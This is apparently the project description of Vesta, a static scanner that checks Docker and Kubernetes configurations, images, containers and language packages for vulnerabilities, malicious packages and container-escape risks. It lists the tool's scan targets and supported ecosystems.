A static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit based on the real penetration of cloud computing.
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit. It inspects Kubernetes and Docker configures,
cluster pods, and containers with safe practices.
Vesta is a flexible toolkit which can run on physical machines in different types of systems (Windows, Linux, MacOS).
Scan
- Support scanning input
- image
- container
- filesystem
- vm (TODO)
- Scan the vulnerabilities of major package managements
- apt/apt-get
- rpm
- yum
- dpkg
- Scan malicious packages and vulnerabilities of language-specific packages
- Java(Jar, War. major library: log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, major frameworks: laravel, thinkphp, wordpress, wordpress plugins etc)
- Rust(Rust binary)
- Others(Others vulnerable which will cause a potential container escape and check suspicious poison image)
